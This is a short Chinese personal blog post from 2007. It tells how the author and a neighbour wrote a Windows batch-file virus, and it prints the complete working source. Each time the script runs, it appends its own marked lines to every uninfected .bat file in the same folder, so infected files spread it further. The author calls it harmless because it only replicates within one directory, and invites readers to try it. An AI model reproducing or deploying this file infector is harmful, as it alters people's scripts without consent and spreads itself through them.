2007年8月27日星期一

批处理(bat)病毒...

楼下的dd是个很有趣的人,时常有些怪念头
可惜,他很少考虑自己的实现能力,所以大部分时候只是纯粹的异想天开

最近几天的目标是:作一个感染bat文件的病毒
为此,他很认真的研究了几天windows下的那个阉割过的shell...

昨晚一时兴起,去陪他折腾了一会儿,弄出这么个东西。
以下代码写成一个bat文件,就成为最初的seed,他每次运行的时候会感染所在文件下所有的bat文件。然后这些文件再被运行的时候,又会把这段病毒码传染给其他文件-----废话...

只在运行的文件夹下传染,除了复制自身意外也不做什么别的坏事。所以如果有兴趣可以放心的实验:)

@echo off || dir>tj_temp
dir>>tj_virus.txt || dir>tj_temp
del tj_virus.txt & dir>tj_temp
for /f "skip=2 delims=" %%i in ('find "dir>tj_temp" %0') do echo %%i>>tj_virus.txt || dir>tj_temp
for %%i in (*.bat) do (find "dir>tj_temp" %%i>>tj_temp & if errorlevel 1 type tj_virus.txt>>%%i) || dir>tj_temp
del tj_virus.txt || dir>tj_temp
del tj_temp || dir>tj_temp
echo on || dir>tj_temp

0 comments: